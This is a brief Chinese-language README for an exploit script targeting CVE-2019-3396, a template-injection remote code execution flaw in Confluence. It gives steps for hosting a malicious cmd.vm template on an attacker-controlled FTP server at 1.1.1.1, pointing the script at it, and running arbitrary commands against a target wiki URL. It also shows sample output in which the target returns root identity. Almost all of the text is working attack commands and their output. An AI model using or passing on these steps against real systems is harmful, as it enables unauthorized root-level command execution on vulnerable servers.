CVE-2019-3396 confluence SSTI RCE
1、将 cmd.vm 放到你的网站上(必须使用 ftp 或 https,http 不起作用) 2、修改 RCE_exp.py,将 filename 改为 'ftp://1.1.1.1/cmd.vm'(python -m pyftpdlib -p 21) 3、python REC_exp.py http://test.wiki_test.cc:8080 "whoami"
$ python REC_exp.py http://test.wiki_test.cc:8080 "id" uid=0(root) gid=0(root) groups=0(root)